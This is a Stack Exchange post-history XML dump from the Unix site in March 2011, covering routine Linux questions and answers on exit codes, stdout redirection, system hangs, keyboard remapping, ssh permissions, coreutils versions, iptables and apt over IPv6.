  <row Id="23744" PostHistoryTypeId="5" PostId="9857" RevisionGUID="e3a676d0-12db-4e57-96c5-0f95cc58392b" CreationDate="2011-03-23T00:24:55.867" UserId="885" Comment="formatting; grammar" Text="I ran `xdg-mime query filetype` &amp;lt;file name&amp;gt; to check the MIME type of a file, and it failed. How can I print the error code (exit code) of the `xdg-mime` command?&#xD;&#xA; &#xD;&#xA;I want to know what error happened:&#xD;&#xA;&#xD;&#xA;1. Error in command line syntax. &#xD;&#xA;2. One of the files passed on the command line did not exist. &#xD;&#xA;3. A required tool could not be found. &#xD;&#xA;4. The action failed. &#xD;&#xA;5. No permission to read one of the files passed on the command line. &#xD;&#xA;" />
  <row Id="23745" PostHistoryTypeId="2" PostId="9925" RevisionGUID="2604aa57-5ea9-46c4-bfa2-9b6026979b48" CreationDate="2011-03-23T00:49:35.873" UserId="5946" Text="You might consider running&#xD;&#xA;&#xD;&#xA;    ssh remotehost -t screen -DR&#xD;&#xA;&#xD;&#xA;and run your terminal session there. You can then detach (`^A^D`) and reattach later (from a different client as well). It will make the problem with non-interactive initialization go away as screen keeps full interactive terminal sessions (optionally logon shells as well, `man screen`(1) or `^A?`)" />
  <row Id="23746" PostHistoryTypeId="2" PostId="9926" RevisionGUID="592f6d3b-a46d-4bf9-8dd6-26dce1771f14" CreationDate="2011-03-23T01:06:58.467" UserId="3125" Text="Is it possible to change stdout after starting something as a background application in the command line?&#xD;&#xA;&#xD;&#xA;Say I run test.py:&#xD;&#xA;&#xD;&#xA;    import time&#xD;&#xA;&#xD;&#xA;    while True:&#xD;&#xA;        print &quot;Hello&quot;&#xD;&#xA;        time.sleep(1)&#xD;&#xA;&#xD;&#xA;and then do:&#xD;&#xA;&#xD;&#xA;    $ python test.py &amp;&#xD;&#xA;&#xD;&#xA;Can I redirect the output to `/dev/null` somehow?" />
  <row Id="23747" PostHistoryTypeId="1" PostId="9926" RevisionGUID="592f6d3b-a46d-4bf9-8dd6-26dce1771f14" CreationDate="2011-03-23T01:06:58.467" UserId="3125" Text="Can I redirect stdout from a background application after starting it?" />
  <row Id="23748" PostHistoryTypeId="3" PostId="9926" RevisionGUID="592f6d3b-a46d-4bf9-8dd6-26dce1771f14" CreationDate="2011-03-23T01:06:58.467" UserId="3125" Text="écommandölineà" />
  <row Id="23749" PostHistoryTypeId="2" PostId="9927" RevisionGUID="6eb25cda-8862-4940-9c9e-c535cd9eca35" CreationDate="2011-03-23T01:09:28.790" UserId="5325" Text="Not unless you taught the program to do so somehow (say, on receipt of a particular signal such as `SIGUSR1` it reopens `sys.stdout` and `sys.stderr` on `/dev/null`).  Otherwise, once it's been started you have very little control over it." />
  <row Id="23750" PostHistoryTypeId="2" PostId="9928" RevisionGUID="762e0e19-06e4-4e52-a5a2-4d8f5d47e339" CreationDate="2011-03-23T01:45:11.817" UserId="5970" Text="wicd-curse is good for you if you installed wicd!" />
  <row Id="23751" PostHistoryTypeId="5" PostId="9926" RevisionGUID="8997590c-cf12-4f62-8f71-a96a6e4fe5d2" CreationDate="2011-03-23T02:24:09.900" UserId="3125" Comment="Updated with references to other questions and answers.; added 128 characters in body" Text="Is it possible to change stdout after starting something as a background application in the command line?&#xD;&#xA;&#xD;&#xA;Say I run test.py:&#xD;&#xA;&#xD;&#xA;    import time&#xD;&#xA;&#xD;&#xA;    while True:&#xD;&#xA;        print &quot;Hello&quot;&#xD;&#xA;        time.sleep(1)&#xD;&#xA;&#xD;&#xA;and then do:&#xD;&#xA;&#xD;&#xA;    $ python test.py &amp;&#xD;&#xA;&#xD;&#xA;Can I redirect the output to `/dev/null` somehow?&#xD;&#xA;&#xD;&#xA;Relates to: http://unix.stackexchange.com/questions/1542/redirect-output-of-a-running-program-to-dev-null&#xD;&#xA;&#xD;&#xA;With an answer on this site: http://unix.stackexchange.com/questions/1542/redirect-output-of-a-running-program-to-dev-null/1543#1543 by [Mike Perdide][1]&#xD;&#xA;&#xD;&#xA;It's also a direct duplicate of a StackOverflow question: [Redirect STDERR / STDOUT of a process AFTER it's been started, using command line?][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/1432/mike-perdide&#xD;&#xA;  [2]: http://stackoverflow.com/questions/593724/redirect-stderr-stdout-of-a-process-after-its-been-started-using-command-line" />
  <row Id="23752" PostHistoryTypeId="25" PostId="9926" RevisionGUID="e7fa00b2-7dc7-4a0c-b83a-27ac671e6601" CreationDate="2011-03-23T02:31:32.227" Comment="http://twitter.com/#!/StackUnix/status/50384147964903424" />
  <row Id="23753" PostHistoryTypeId="2" PostId="9929" RevisionGUID="d11183e8-7dd7-4016-a3f3-f2aee39b2d30" CreationDate="2011-03-23T03:23:42.437" UserId="5131" Text="Does Perl work for you?  It can keep the lines in the original order, even if the duplicates are not adjacent.  You could also code it in Python.&#xD;&#xA;&#xD;&#xA;    use strict;&#xD;&#xA;    use warnings;&#xD;&#xA;    my %lines;&#xD;&#xA;    while (&lt;&gt;)&#xD;&#xA;    {&#xD;&#xA;        chomp;&#xD;&#xA;        $lines{$_} = $. unless defined $lines{$_};&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    my @lines;   # Evil!&#xD;&#xA;    foreach my $line (keys %lines) # Worse if using $lines (but Perl would be OK)&#xD;&#xA;    {&#xD;&#xA;        $lines[$lines{$line}] = $line;  # Really evil!&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    foreach my $line (@lines)&#xD;&#xA;    {&#xD;&#xA;        print &quot;$line\n&quot; if defined $line;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Given input file:&#xD;&#xA;&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    abc&#xD;&#xA;    ghi&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    abc&#xD;&#xA;    ghi&#xD;&#xA;    jkl&#xD;&#xA;&#xD;&#xA;It yields the output:&#xD;&#xA;&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    ghi&#xD;&#xA;    jkl&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;A non-evil version of the code could be:&#xD;&#xA;&#xD;&#xA;    use strict;&#xD;&#xA;    use warnings;&#xD;&#xA;    my %lines;&#xD;&#xA;    while (&lt;&gt;)&#xD;&#xA;    {&#xD;&#xA;        chomp;&#xD;&#xA;        $lines{$_} = $. unless defined $lines{$_};&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    my @data;&#xD;&#xA;    foreach my $line (keys %lines)&#xD;&#xA;    {&#xD;&#xA;        $data[$lines{$line}] = $line;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    foreach my $line (@data)&#xD;&#xA;    {&#xD;&#xA;        print &quot;$line\n&quot; if defined $line;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23754" PostHistoryTypeId="12" PostId="9929" RevisionGUID="5e4ab349-acb4-4121-8044-953db7421c9e" CreationDate="2011-03-23T03:32:39.990" UserId="5131" Text="[{&quot;Id&quot;:5131,&quot;DisplayName&quot;:&quot;Jonathan Leffler&quot;}]" />
  <row Id="23755" PostHistoryTypeId="16" PostId="9929" RevisionGUID="11a2b695-6079-46cb-8db3-522725584d9f" CreationDate="2011-03-23T03:37:39.143" UserId="5131" Comment="Or awk" />
  <row Id="23756" PostHistoryTypeId="5" PostId="9929" RevisionGUID="11a2b695-6079-46cb-8db3-522725584d9f" CreationDate="2011-03-23T03:37:39.143" UserId="5131" Comment="Or awk" Text="Does Perl work for you?  It can keep the lines in the original order, even if the duplicates are not adjacent.  You could also code it in Python, or `awk`.&#xD;&#xA;&#xD;&#xA;    while (&lt;&gt;)&#xD;&#xA;    {&#xD;&#xA;        print if $lines{$_}++ = 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Given input file:&#xD;&#xA;&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    abc&#xD;&#xA;    ghi&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    abc&#xD;&#xA;    ghi&#xD;&#xA;    jkl&#xD;&#xA;&#xD;&#xA;It yields the output:&#xD;&#xA;&#xD;&#xA;    abc&#xD;&#xA;    def&#xD;&#xA;    ghi&#xD;&#xA;    jkl&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23757" PostHistoryTypeId="13" PostId="9929" RevisionGUID="45955ada-00f5-4e50-bd26-b4cf81722348" CreationDate="2011-03-23T03:37:47.410" UserId="5131" Text="[{&quot;Id&quot;:5131,&quot;DisplayName&quot;:&quot;Jonathan Leffler&quot;}]" />
  <row Id="23758" PostHistoryTypeId="2" PostId="9930" RevisionGUID="b4e30c84-6d6d-4410-bea5-d175f9cda9e2" CreationDate="2011-03-23T04:07:41.260" UserId="2874" Text="My Arch machine sometimes hangs, suddenly not responding in any way to the mouse or the keyboard.  The cursor is frozen.  Ctrl-Alt-Backsp won't stop X11, and ctrl-alt-del does exactly nothing.  The cpu, network, and disk activity plots in conky and icewm stop updating.  In a few minutes the fan turns on.  The only way to make the computer do anything at all is to turn off power.   &#xD;&#xA;&#xD;&#xA;When it boots up, the CPU temperature monitors show 70 to 80C. Before the hang, I was usually doing low-intensity activity like web surfing getting around 50C.&#xD;&#xA;&#xD;&#xA;The logs show nothing special compared to a normal shutdown.  Memory checker runs fine with zero defects.  &#xD;&#xA;&#xD;&#xA;How can I investigate why it hung up?  Is there extra information I can find for a clue? Is there anything less drastic than power-off to get some kind of action, if only some limited shell or just beeps, but might give a clue?&#xD;&#xA;&#xD;&#xA;The machine is a Gateway P6860 17&quot; laptop (bulky but powerful) and it's running Arch 64bit, up to date (as of March 2011).   I had Arch for a long time w/o this problem, switched to Ubuntu for about a week then retreated back to a fresh install of Arch.  That's when the hangings started." />
  <row Id="23759" PostHistoryTypeId="1" PostId="9930" RevisionGUID="b4e30c84-6d6d-4410-bea5-d175f9cda9e2" CreationDate="2011-03-23T04:07:41.260" UserId="2874" Text="How to investigate cause of total hang?" />
  <row Id="23760" PostHistoryTypeId="3" PostId="9930" RevisionGUID="b4e30c84-6d6d-4410-bea5-d175f9cda9e2" CreationDate="2011-03-23T04:07:41.260" UserId="2874" Text="éarchölinuxà" />
  <row Id="23761" PostHistoryTypeId="5" PostId="9926" RevisionGUID="efab0d4b-1652-4bbf-97ac-6475b38511c4" CreationDate="2011-03-23T04:10:56.723" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [redirect output of a running program to /dev/null](http://unix.stackexchange.com/questions/1542/redirect-output-of-a-running-program-to-dev-null)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Is it possible to change stdout after starting something as a background application in the command line?&#xD;&#xA;&#xD;&#xA;Say I run test.py:&#xD;&#xA;&#xD;&#xA;    import time&#xD;&#xA;&#xD;&#xA;    while True:&#xD;&#xA;        print &quot;Hello&quot;&#xD;&#xA;        time.sleep(1)&#xD;&#xA;&#xD;&#xA;and then do:&#xD;&#xA;&#xD;&#xA;    $ python test.py &amp;&#xD;&#xA;&#xD;&#xA;Can I redirect the output to `/dev/null` somehow?&#xD;&#xA;&#xD;&#xA;Relates to: http://unix.stackexchange.com/questions/1542/redirect-output-of-a-running-program-to-dev-null&#xD;&#xA;&#xD;&#xA;With an answer on this site: http://unix.stackexchange.com/questions/1542/redirect-output-of-a-running-program-to-dev-null/1543#1543 by [Mike Perdide][1]&#xD;&#xA;&#xD;&#xA;It's also a direct duplicate of a StackOverflow question: [Redirect STDERR / STDOUT of a process AFTER it's been started, using command line?][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/users/1432/mike-perdide&#xD;&#xA;  [2]: http://stackoverflow.com/questions/593724/redirect-stderr-stdout-of-a-process-after-its-been-started-using-command-line" />
  <row Id="23762" PostHistoryTypeId="10" PostId="9926" RevisionGUID="6cc83f71-0d41-464b-b68b-c90125947407" CreationDate="2011-03-23T04:10:56.520" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="23763" PostHistoryTypeId="2" PostId="9931" RevisionGUID="38788447-fe52-4009-a6a6-2941232059e0" CreationDate="2011-03-23T04:22:35.420" UserId="5971" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have a server which has dual authentication layer. Meaning first a user has to login to the box using his userid and then use a group id to access the development folder(say). Now I have a script which uses ssh to copy a file to the development folder. What should be the command for this? Normal ssh command as ssh $user@host $cmd where $cmd=cp ~/user/Test.txt ~/grp/ won't work because we are using user's id to copy to group's directory which is not allowed. And if we use group id to login it will be denied permission. Any suggestions? I have already asked this on stackoverflow and was suggested to ask on this forum." />
  <row Id="23764" PostHistoryTypeId="1" PostId="9931" RevisionGUID="38788447-fe52-4009-a6a6-2941232059e0" CreationDate="2011-03-23T04:22:35.420" UserId="5971" Text="ssh fails for an unix server due to dual layer of authentication" />
  <row Id="23765" PostHistoryTypeId="3" PostId="9931" RevisionGUID="38788447-fe52-4009-a6a6-2941232059e0" CreationDate="2011-03-23T04:22:35.420" UserId="5971" Text="ésshàéauthenticationà" />
  <row Id="23766" PostHistoryTypeId="5" PostId="3406" RevisionGUID="de9c838c-9222-451a-9fe7-dddc78af1c77" CreationDate="2011-03-23T04:46:23.597" UserId="1294" Comment="shortened url for the concision oriented… " Text="I think the service is called http://unix.stackexchange.com." />
  <row Id="23767" PostHistoryTypeId="2" PostId="9932" RevisionGUID="884f69e7-ec41-4585-8f61-e25688e0d810" CreationDate="2011-03-23T05:03:48.387" UserId="5685" Text="Regarding the freeze, there are a few options:&#xD;&#xA;&#xD;&#xA; - using a serial port if you box has one to get the dump there. That involves two boxes and add `console=tty0` to the kernel command line&#xD;&#xA;&#xD;&#xA; - using netconsole to get the dump over the network, see here: http://www.mjmwired.net/kernel/Documentation/networking/netconsole.txt&#xD;&#xA;&#xD;&#xA; - Using kexec/kdump this way you get a local dump: http://www.mjmwired.net/kernel/Documentation/kdump/kdump.txt&#xD;&#xA;&#xD;&#xA;Regarding the clean power off problem, I suggest you use the sysrq keys (http://en.wikipedia.org/wiki/Magic_SysRq_key) to 'S'ync the discs, 'U'mount them, and then re'B'oot the box (the letters are the ones you should type along with alt-sysrq.&#xD;&#xA;&#xD;&#xA;Edit: If you post the oops/trace to the lkml, you should use a recent (preferably the latest) version of the kernel and no proprietary modules." />
  <row Id="23768" PostHistoryTypeId="5" PostId="9932" RevisionGUID="d08f94c5-b173-44d7-b38a-7b4279cce923" CreationDate="2011-03-23T05:14:50.030" UserId="250" Comment="format the link to wikipedia" Text="Regarding the freeze, there are a few options:&#xD;&#xA;&#xD;&#xA; - using a serial port if you box has one to get the dump there. That involves two boxes and add `console=tty0` to the kernel command line&#xD;&#xA;&#xD;&#xA; - using netconsole to get the dump over the network, see here: http://www.mjmwired.net/kernel/Documentation/networking/netconsole.txt&#xD;&#xA;&#xD;&#xA; - Using kexec/kdump this way you get a local dump: http://www.mjmwired.net/kernel/Documentation/kdump/kdump.txt&#xD;&#xA;&#xD;&#xA;Regarding the clean power off problem, I suggest you use the [magic SysRq key][1] to 'S'ync the discs, 'U'mount them, and then re'B'oot the box (the letters are the ones you should type along with alt-sysrq.&#xD;&#xA;&#xD;&#xA;Edit: If you post the oops/trace to the lkml, you should use a recent (preferably the latest) version of the kernel and no proprietary modules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Magic_SysRq_key" />
  <row Id="23769" PostHistoryTypeId="25" PostId="9930" RevisionGUID="69a64363-9657-4abc-8abb-96c2c5244d48" CreationDate="2011-03-23T05:31:32.737" Comment="http://twitter.com/#!/StackUnix/status/50429450860498945" />
  <row Id="23770" PostHistoryTypeId="2" PostId="9933" RevisionGUID="9632d1a9-8244-4eb4-8c29-9ed515c0e441" CreationDate="2011-03-23T06:23:22.483" UserId="5884" Text="I redefined my keyboard layout for good and I simply press alt-key + ; or ' to get: “ ”. Works in every desktop env.&#xD;&#xA;&#xD;&#xA;There are many choices how to do it -- for example, you can use character map app (present in Gnome and KDE for sure) to get any character you want." />
  <row Id="23771" PostHistoryTypeId="5" PostId="9635" RevisionGUID="8232a65f-f8af-4144-b9df-964a0568dbe9" CreationDate="2011-03-23T06:32:05.360" UserId="5884" Comment="added 472 characters in body; added 49 characters in body" Text="#Aim#&#xD;&#xA;&#xD;&#xA;I would like to assign Alt to CapsLock-key, and Meta to Alt-key. But in such way, Alt-key would no longer be recognized as Alt, and CapsLock-key would no longer be recognized as CapsLock.&#xD;&#xA;&#xD;&#xA;openSUSE 11.4&#xD;&#xA;&#xD;&#xA;#Previously#&#xD;&#xA;&#xD;&#xA;openSUSE 11.1 -- since I am the only user of my computer I &quot;simply&quot; edited the /usr/share/X11/xkb/keycodes/xfree86 file and it worked without problem. Keys were wired to their symbols at the lowest level.&#xD;&#xA;&#xD;&#xA;#Problems#&#xD;&#xA;&#xD;&#xA;##1. xkb##&#xD;&#xA;&#xD;&#xA;I created a variant of Polish layout (pl_ext) which (for test) consists of such entries:&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { Alt_L, Alt_R };&#xD;&#xA;&#xD;&#xA;However this does simply nothing, CapsLock-key in xev is recognized (symbol) as Alt_L, but when I press CapsLock-key it behaves like CapsLock (e.g. assuming you have File in menu, Alt+F should open this menu, it does not).&#xD;&#xA;&#xD;&#xA;*Read more in edits.*&#xD;&#xA;&#xD;&#xA;**QUESTION**: how to define a layout file to set CapsLock-key as Alt, and Alt-key as Meta?&#xD;&#xA;&#xD;&#xA;##2. xfree86##&#xD;&#xA;&#xD;&#xA;But now this does not work, I guess other file table is read instead of xfree86.&#xD;&#xA;&#xD;&#xA;**QUESTION:** how to find out which keycode table file is used by system (X/Gnome)?&#xD;&#xA;&#xD;&#xA;##3. xmodmap ##&#xD;&#xA;&#xD;&#xA;*This part is solved thanks to Gilles.*&#xD;&#xA;&#xD;&#xA;Half of success here. This part works as desired:&#xD;&#xA;&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Alt_L&#xD;&#xA;&#xD;&#xA;Now, I have trully CapsLock-key which is mapped to Alt. But this:&#xD;&#xA;&#xD;&#xA;    keysym Alt_L = Meta_L&#xD;&#xA;&#xD;&#xA;does strange thing. xev shows that Alt-key is mapped to Meta, but when I press Alt+F (this should be mapped to Meta+F --&gt; doing nothing) the File menu is opened. What's more, when I press Alt+Tab, I get window-switcher (I should not -- Alt is Meta now).&#xD;&#xA;&#xD;&#xA;**QESTION**: how to &quot;delete&quot; old behavior for Alt-key?&#xD;&#xA;&#xD;&#xA;#Summary#&#xD;&#xA;&#xD;&#xA;Answering any question would (hopefully) solve my problem, however I prefer using xkb entirely because I could then pack all the files for xkb and change layout in one place. Thank you in advance for any help!&#xD;&#xA;&#xD;&#xA;#EDITS#&#xD;&#xA;&#xD;&#xA;##(1) ad. xkb##&#xD;&#xA;&#xD;&#xA;Half of success here too! Now I have such entries&#xD;&#xA;&#xD;&#xA;    key &lt;CAPS&gt; { [ Alt_L ] };&#xD;&#xA;    modifier_map Mod1 { &lt;CAPS&gt; }; // this is a difference&#xD;&#xA;&#xD;&#xA;and this works as desired. This does not:&#xD;&#xA;&#xD;&#xA;    key &lt;LALT&gt; { [ Meta_L ] } ;&#xD;&#xA;    key &lt;RALT&gt; { [ Meta_R ] } ;&#xD;&#xA;    modifier_map Mod5 { &lt;LALT&gt;,&lt;RALT&gt; };&#xD;&#xA;&#xD;&#xA;Alt-keys are recognized as Meta by xev, but I still can open the menus with Alt+F, switch windows, and I shouldn't. And on the other hand I cannot enter any national character, and I should.&#xD;&#xA;&#xD;&#xA;##(2) ad. xfree86##&#xD;&#xA;&#xD;&#xA;The best option for me -- editing keycode tables -- solved! I found the answer on Polish Ubuntu forum. Now one does not edit &quot;xfree86&quot; file but &quot;evdev&quot; file. This way you can make permanent changes which work for all layouts.&#xD;&#xA;&#xD;&#xA;Example (on Gilles request) -- log in as root, go to &#xD;&#xA;&#xD;&#xA;    /usr/share/X11/xkb/keycodes&#xD;&#xA;&#xD;&#xA;make a backup of &quot;evdev&quot; file, and then edit it. Change the codes to your liking, for example in my case:&#xD;&#xA;&#xD;&#xA;    &lt;LALT&gt; = 66; // when I press CapsLock (66 code) system will report pressing LeftAlt&#xD;&#xA;    &lt;LMTA&gt; = 64; // I will get LeftMeta when pressing LeftAlt (64 code)&#xD;&#xA;&#xD;&#xA;You can find what the codes by executing command &quot;xev&quot;, but you can simply look at original &quot;evdev&quot; file.&#xD;&#xA;&#xD;&#xA;Log out, log in, enjoy your new keyboard :-)." />
  <row Id="23772" PostHistoryTypeId="2" PostId="9934" RevisionGUID="5b27dd40-7b36-4dfa-8da6-0ae0aae211d4" CreationDate="2011-03-23T07:07:55.923" UserId="2567" Text="Make sure that you crontab executes your scripts as the same user as the one you are logged in as.&#xD;&#xA;&#xD;&#xA;Some env var or file rights has probably changed for one of the users." />
  <row Id="23773" PostHistoryTypeId="6" PostId="9930" RevisionGUID="d76b08e9-ddc2-4552-b338-dcbfb958be03" CreationDate="2011-03-23T08:08:45.030" UserId="885" Comment="edited tags" Text="élinuxàéarchölinuxàélogsàékernelöpanicàéforensicsà" />
  <row Id="23774" PostHistoryTypeId="25" PostId="9889" RevisionGUID="fe779b93-cfc3-4156-a45b-653084e65a54" CreationDate="2011-03-23T08:31:32.613" Comment="http://twitter.com/#!/StackUnix/status/50474748735520768" />
  <row Id="23775" PostHistoryTypeId="2" PostId="9935" RevisionGUID="eea0c005-ad0e-4e8d-b046-b7d6b37dd14a" CreationDate="2011-03-23T08:49:15.540" UserId="3645" Text="What are quick ways to answer such a question **authoritatively** for Linux tools, especially the GNU Core Utils? Some possibilities in order of decreasing accuracy:&#xD;&#xA;&#xD;&#xA;* **Binary binary search** (sic) by running the different versions is of course the ultimate answer, but is by far the most time consuming.&#xD;&#xA;* **Reading the code** is almost as good, but it can be prohibitively time consuming if the feature is vaguely named, the name doesn't correspond directly to variable/function/object names, or it was implemented before it was enabled.&#xD;&#xA;* **man pages** rarely mention dates.&#xD;&#xA;* The same applies to **Googling**, and you'd also have a hard time excluding all the non-authoritative sources." />
  <row Id="23776" PostHistoryTypeId="1" PostId="9935" RevisionGUID="eea0c005-ad0e-4e8d-b046-b7d6b37dd14a" CreationDate="2011-03-23T08:49:15.540" UserId="3645" Text="Which version of X introduced feature Y?" />
  <row Id="23777" PostHistoryTypeId="3" PostId="9935" RevisionGUID="eea0c005-ad0e-4e8d-b046-b7d6b37dd14a" CreationDate="2011-03-23T08:49:15.540" UserId="3645" Text="écoreutilsàéfeaturesà" />
  <row Id="23778" PostHistoryTypeId="2" PostId="9936" RevisionGUID="2621d12d-5775-4cff-a7a2-a954e3f418ad" CreationDate="2011-03-23T09:06:30.213" UserId="3963" Text="Why not use the source control afferent to X to search for feature Y? The source repo is the best way to indentify when a particular feature was introduced.&#xD;&#xA;&#xD;&#xA;For coreutils you can head to http://git.savannah.gnu.org/cgit/coreutils.git and search for keywords related to Y in log messages or particular lines of code you identified as belonging to Y. You can do that on the web interface directly, or even better, clone the source repo to your station and search using [git-bisect](http://www.kernel.org/pub/software/scm/git/docs/git-bisect.html), [git-blame](http://www.kernel.org/pub/software/scm/git/docs/git-blame.html) and [git-log --grep](http://www.kernel.org/pub/software/scm/git/docs/git-log.html).&#xD;&#xA;&#xD;&#xA;You can adapt the above method, depending on X and it's source control." />
  <row Id="23779" PostHistoryTypeId="5" PostId="9935" RevisionGUID="d9f65d9a-1a14-42d0-8ef9-595ede0caba2" CreationDate="2011-03-23T09:17:47.587" UserId="3645" Comment="Clarify reasons" Text="A big part of my daily job is developing software for use on machines with different versions of the same software, like `bash`, `find`, and `grep`. When encountering a feature which would be useful for example to simplify code, it is important to know whether this feature is available in the oldest installed tools. For critical stuff, it would also be useful to know whether this feature was new or has existed for years in the oldest installed tools.&#xD;&#xA;&#xD;&#xA;What are quick ways to answer this **authoritatively** for Linux tools, especially the GNU Core Utils? Some possibilities in order of decreasing accuracy:&#xD;&#xA;&#xD;&#xA;* **Binary binary search** (sic) by running the different versions is of course the ultimate answer, but is by far the most time consuming. Older installations are often not available for security reasons.&#xD;&#xA;* **Reading the code** is almost as good, but it can be prohibitively time consuming if the feature is vaguely named, the name doesn't correspond directly to variable/function/object names, or it was implemented before it was enabled.&#xD;&#xA;* **man pages** rarely mention dates.&#xD;&#xA;* The same applies to **Googling**, and you'd also have a hard time excluding all the non-authoritative sources." />
  <row Id="23780" PostHistoryTypeId="2" PostId="9937" RevisionGUID="003503e1-779d-4315-adde-af019e6e7a45" CreationDate="2011-03-23T09:20:27.100" UserId="5923" Text="Could the problem be that you use `~/user` and `~/grp` (both being directories relative to the home directory of the logged in user) instead of `~user` and `~grp` (meaning two different users' home directories)?&#xD;&#xA;&#xD;&#xA;It's a bit hard to tell from your problem description what the problem really is. Normally, it sounds like &quot;user&quot; should be part of the same group that &quot;grp&quot; is, and the directory should be group writable.&#xD;&#xA;&#xD;&#xA;Stay away from the r-commands. SSH can do everything better and more secure.&#xD;&#xA;" />
  <row Id="23781" PostHistoryTypeId="2" PostId="9938" RevisionGUID="24c3a04c-6c24-40cd-aff3-7cf2527c9e5b" CreationDate="2011-03-23T09:21:04.497" UserId="2511" Text="Generally, there's a changelog. In fact, this (or other &quot;prominent notices&quot; of changes) is required by the GPL! (At least, effectively so for anything with multiple contributors — see GPLv2 section 2a.)&#xD;&#xA;&#xD;&#xA;For the GNU coreutils package — and for pretty much everything else from the GNU project directly — this file is definitely the first place to look, and should answer your question 95% of the time." />
  <row Id="23784" PostHistoryTypeId="5" PostId="9935" RevisionGUID="a13731d6-2ed4-462f-9ec0-7e882a8fce74" CreationDate="2011-03-23T09:37:53.130" UserId="3645" Comment="added 184 characters in body" Text="A big part of my daily job is developing software for use on machines with different versions of the same software, like `bash`, `find`, and `grep`. When encountering a feature which would be useful for example to simplify code, it is important to know whether this feature is available in the oldest installed tools. For critical stuff, it would also be useful to know whether this feature was new or has existed for years in the oldest installed tools.&#xD;&#xA;&#xD;&#xA;What are quick ways to answer this **authoritatively** for Linux tools, especially the GNU Core Utils? Some possibilities in order of decreasing accuracy:&#xD;&#xA;&#xD;&#xA;* **Binary binary search** (sic) by running the different versions is of course the ultimate answer, but is by far the most time consuming. Older installations are often not available for security reasons.&#xD;&#xA;* **Reading the code** is almost as good, but it can be prohibitively time consuming if the feature is vaguely named, the name doesn't correspond directly to variable/function/object names, or it was implemented before it was enabled.&#xD;&#xA;* **Change logs**, when available, usually connect feature changes to software versions.&#xD;&#xA;* **Commit logs** can provide hints, but do not know which version they will be included in.&#xD;&#xA;* **man pages** rarely mention dates.&#xD;&#xA;* The same applies to **Googling**, and you'd also have a hard time excluding all the non-authoritative sources." />
  <row Id="23785" PostHistoryTypeId="2" PostId="9939" RevisionGUID="dd1fc513-c8d1-4b00-9734-e11d711fd9bc" CreationDate="2011-03-23T10:04:59.680" UserId="5977" Text="I have a home server (with slackware 13) with a eth0 for the local network and a eth1 for the internet (cable modem with dynamic ip).&#xD;&#xA;&#xD;&#xA;While I do want to learn more about iptables I am still on the proccess and I need some rules done and can't until a learn to do it as I dont wish my server to get compromised at this stage.&#xD;&#xA;&#xD;&#xA;I currently have a vm where I play with my rules and everything and would appreciate if some one could wrap me a firewall rule for iptables to do the below:&#xD;&#xA;&#xD;&#xA; 1. Allow all users from my dhcp server&#xD;&#xA;    on eth0 to have full access to&#xD;&#xA;    internet and server, in other words&#xD;&#xA;    eth0 should have no restrictions&#xD;&#xA;    within the network and server.&#xD;&#xA; 2. Allow all users to be able to create&#xD;&#xA;    a server, for example if they are&#xD;&#xA;    playing a game such as for example&#xD;&#xA;    warcraft, and they create a game,&#xD;&#xA;    the firewall should allow the&#xD;&#xA;    negotiation of those connections to&#xD;&#xA;    go thru.&#xD;&#xA; 3. Block any requests from internet to&#xD;&#xA;    server unless it was initiated by&#xD;&#xA;    the server or an users from the&#xD;&#xA;    network." />
  <row Id="23786" PostHistoryTypeId="1" PostId="9939" RevisionGUID="dd1fc513-c8d1-4b00-9734-e11d711fd9bc" CreationDate="2011-03-23T10:04:59.680" UserId="5977" Text="iptables rule for local network with free internet blocking unrequested connection from internet to server ?" />
  <row Id="23787" PostHistoryTypeId="3" PostId="9939" RevisionGUID="dd1fc513-c8d1-4b00-9734-e11d711fd9bc" CreationDate="2011-03-23T10:04:59.680" UserId="5977" Text="élinuxàéiptablesàéfirewallàéinternetà" />
  <row Id="23788" PostHistoryTypeId="2" PostId="9940" RevisionGUID="0416903c-fec9-45db-994e-843abaf6124a" CreationDate="2011-03-23T10:15:07.273" UserId="4949" Text="The ISP I work at is setting up an internal IPv6 network in preparation for eventually connecting to the IPv6 internet. As a result, several of the servers in this network now try to connect to security.debian.org via its IPv6 address by default when running `apt-get update`, and that results in having to wait for a lengthy timeout whenever I'm downloading updates of any sort.  &#xD;&#xA;&#xD;&#xA;Is there a way to tell apt to either prefer IPv4 or ignore IPv6 altogether?" />
  <row Id="23789" PostHistoryTypeId="1" PostId="9940" RevisionGUID="0416903c-fec9-45db-994e-843abaf6124a" CreationDate="2011-03-23T10:15:07.273" UserId="4949" Text="Convince apt-get *not* to use IPv6 method" />
  <row Id="23790" PostHistoryTypeId="3" PostId="9940" RevisionGUID="0416903c-fec9-45db-994e-843abaf6124a" CreationDate="2011-03-23T10:15:07.273" UserId="4949" Text="élinuxàédebianàéaptà" />
